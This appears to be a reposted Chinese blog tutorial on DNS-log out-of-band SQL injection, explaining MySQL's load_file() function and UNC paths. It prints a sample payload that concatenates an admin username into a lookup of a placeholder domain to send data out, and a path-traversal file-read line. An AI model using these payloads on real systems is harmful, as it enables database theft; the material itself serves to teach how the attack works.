DNS注入原理:

通过我们构造的数据,访问搭建好的DNS服务器,查看DNS访问的日志即可获取我们想要得到的数据。

DNS注入使用场景:

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

load_file函数

load_file()函数是读取文件的函数,读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
select load_file(../../../../../../../../../../../1.txt)

UNC路径

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:

\\servername\sharename\directory\filename

例如softer计算机的名为it168的共享文件夹,用UNC表示就是\softer\it168。
我们熟悉的命令行访问法访问网上邻居,实际上应该称作UNC路径访问法。

假设我们访问的路径是域名下的某个文件呢?

//xxxxx.com/1.txt
或 \\\\xxxx.com/txt //四个反斜杠的原因是因为将反斜杠做转义,不然两个\会被转义为一个,导致语句报错
# 表示我们去访问这个域名下的共享文件夹的文件

当我们使用load_file去访问域名的时候,会产生DNS解析
这时候我们可以通过构造sql查询语句去查询数据库
select load_file(concat('//',(select username form admin limit 0,1),'.xxx.xxx/abc'))
因为拼接的字段只能有一条,所以需要进行限制,不然会报错
如果成功访问的话就可以通过查询日志获取username字段的值,完成DNS注入。

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄